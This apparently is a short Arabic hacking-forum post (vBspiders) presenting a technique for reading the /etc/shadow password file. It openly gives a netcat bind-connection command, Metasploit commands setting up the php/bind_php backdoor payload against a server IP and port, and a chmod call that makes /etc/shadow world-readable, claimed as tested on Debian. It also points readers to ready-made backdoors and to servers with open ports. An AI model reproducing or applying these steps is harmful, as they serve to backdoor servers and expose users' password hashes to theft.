تغرة لقراءة ملف etc/shadow جديدة

أتصل مباشر مو عكسي

nc -vv ip port >> hacker
اما السرفر استخدم باك دور ميتا سبلويت
msf> use payload/php/bind_php
set rhost = server ip
set rport = 9999

مثلاً او فيك تستخدم باكدورات جاهزة على النت , او شوف اي موقع يقدم خدمة vpn والبورتات مفتوحه .

اقتباس chmod("/etc/shadow", 0666)

هذا موجود في العنوان تبع الثغرة , يعني اعتقد وضيفة هالملف اعطاء تصريح خاص للشادو بحيث تقدر تقراه \ تستعرضه . تم اختباره على نظام ديبيان ومؤكد

فيك تختبره بأنظمة اخرى .

جزاك الله خير

في أمان وحفظ الرحمن

المصدر: :: vBspiders Professional Network ::